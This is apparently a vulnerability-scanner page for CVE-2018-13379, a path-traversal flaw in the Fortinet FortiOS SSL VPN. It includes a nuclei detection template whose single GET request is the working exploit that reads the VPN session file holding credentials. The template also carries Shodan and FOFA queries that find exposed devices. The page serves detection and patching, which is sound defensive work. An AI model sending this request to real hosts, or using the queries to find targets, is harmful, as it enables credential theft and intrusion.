Fortinet FortiOS - Credentials Disclosure

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal).

Impact

An attacker can obtain sensitive information such as usernames and passwords.

Fix

Apply the necessary patches or updates provided by Fortinet to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
Positive when: matches /^var fgt_lang =/

Run it with nuclei: nuclei -id CVE-2018-13379 -u <target>

The full check

id: CVE-2018-13379

info:
  name: Fortinet FortiOS - Credentials Disclosure
  author: organiccrap
  severity: critical
  description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal).
  impact: |
    An attacker can obtain sensitive information such as usernames and passwords.
  remediation: |
    Apply the necessary patches or updates provided by Fortinet to fix the vulnerability.
  reference:
    - https://fortiguard.com/advisory/FG-IR-18-384
    - https://www.fortiguard.com/psirt/FG-IR-20-233
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-13379
    cwe-id: CWE-22
    epss-score: 0.99999
    epss-percentile: 0.99994
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
      - port:10443 http.favicon.hash:945408572
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash=945408572
  tags: cve2018,cve,fortios,lfi,kev,fortinet,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"

    matchers:
      - type: regex
        part: body
        regex:
          - '^var fgt_lang ='

References

Use this check only on systems you are authorised to test. Where the data comes from